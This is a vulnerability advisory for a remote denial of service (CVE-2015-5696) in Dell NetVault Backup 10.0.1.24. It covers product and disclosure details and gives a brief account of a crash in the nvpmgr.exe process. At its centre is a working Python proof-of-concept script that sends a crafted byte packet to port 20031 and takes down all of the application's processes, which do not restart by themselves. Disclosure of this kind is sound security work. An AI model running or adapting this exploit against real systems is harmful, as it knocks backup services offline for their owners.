Dell Netvault Backup 10.0.1.24 – Denial of Service
""" Product: Dell Netvault Backup Link: http://software.dell.com/products/netvault-backup/ Vendor: Dell Vulnerable Version(s): 10.0.1.24 and probably prior Tested Version: Version 10.0.1.24 Advisory Publication: July 30, 2015 Vendor Notification: January 9, 2015 Public Disclosure: July 30, 2015 Vulnerability Type: Remote Denial of service CVE Reference: CVE-2015-5696 Risk Level: Medium Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24 ----------------------------------------------------------------------------------------------- Advisory Details: Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually. Proof of concept script: """ #!/usr/bin/python import socket as so from struct import * server = "192.168.140.130" port = 20031 d = "\x18\x00\x00\x00" d += "\x01" #d += "\xCB\x22\x77\xC9" # Another crash example d += "\x18\xE8\xBE\xC8" # Will cause the crash d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6 d += "\x00" # null byte ## # send it s = so.socket(so.AF_INET, so.SOCK_STREAM) s.connect((server, port)) s.send(d) s.close() """ ----------------------------------------------------------------------------------------------- Solution: Disclosure timeline: 2015-01-09 Vendor notified via email 2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x 2015-07-30 Public disclosure. The fix done by Dell was not checked by the researcher. ----------------------------------------------------------------------------------------------- """ |